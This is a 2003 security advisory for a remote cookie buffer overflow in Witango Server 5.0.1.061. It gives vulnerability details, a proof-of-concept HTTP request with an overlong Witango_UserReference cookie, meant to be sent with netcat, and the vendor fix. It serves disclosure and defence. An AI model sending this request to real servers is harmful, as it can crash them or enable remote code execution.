Witango Server Remote Cookie Buffer Overflow Vulnerability

BID:8224

Info

Witango Server Remote Cookie Buffer Overflow Vulnerability

Bugtraq ID: 8224
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Jul 18 2003 12:00AM
Updated: Jul 18 2003 12:00AM
Credit: Discovery credited to Next Generation Software.
Vulnerable: Witango Witango Server 5.0.1 .061
Witango Tango Server 2000
Not Vulnerable: Witango Witango Server 5.0 .1.062

Discussion

Witango Server Remote Cookie Buffer Overflow Vulnerability

Witango Server is prone to a remote buffer overflow vulnerability. Remote users may be able to send an HTTP request to a Witango server with a cookie containing a specific variable set to an excessively large value. Remote code execution is possible.

Exploit / POC

Witango Server Remote Cookie Buffer Overflow Vulnerability

The following proof of concept has been provided. This may be sent using connection utilities such as netcat.

GET /ngssoftware.tml HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,
application/x-shockwave-flash, */*
Accept-Language: en-gb
User-Agent: My Browser
Host: ngssoftware.com
Connection: Keep-Alive
Cookie: Witango_UserReference= parameter length 2864

Solution / Fix

Witango Server Remote Cookie Buffer Overflow Vulnerability

Solution:
Witango has released version 5.0.1.062 to correct this issue. Users are advised to upgrade immediately. For information on obtaining updates, please see the referenced advisory as well as the Witango Web page.

References

Witango Server Remote Cookie Buffer Overflow Vulnerability

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